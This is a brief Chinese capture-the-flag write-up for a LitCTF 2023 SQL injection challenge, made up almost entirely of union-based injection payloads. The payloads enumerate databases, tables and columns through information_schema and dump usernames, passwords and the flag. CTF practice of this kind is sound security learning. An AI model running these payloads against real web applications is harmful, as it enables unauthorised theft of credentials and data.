Problem: [LitCTF 2023]这是什么?SQL !注一下 !
[[toc]]
思路
- 解题大致思路
EXP
- 具体攻击代码
总结
- 对该题的考点总结
1、判断类型
1))))))-- -
1))))))#
1)))))) or 1=1-- -
2、列数
1)))))) order by 1,2-- -
3、显示位
1)))))) union select 1,2-- -
4、求库名字
1)))))) union select database(),2-- -
5、求表
1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- -
6、求列
1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_name="users"-- -
7、求数据
-1)))))) union select username,password from users-- -
-1)))))) union select 1,group_concat(username,password) from users-- -
8、求所有库
1)))))) union select 1,group_concat(schema_name) from information_schema.schemata-- -
1)))))) union select 1,group_concat(schema_name) from information_schema.schemata --+
9、求表
1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctftraining' --+
10、求列
1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_schema='ctftraining' -- -
11、求数据
1)))))) union select 1,group_concat(flag) from ctftraining.flag-- -


加载中...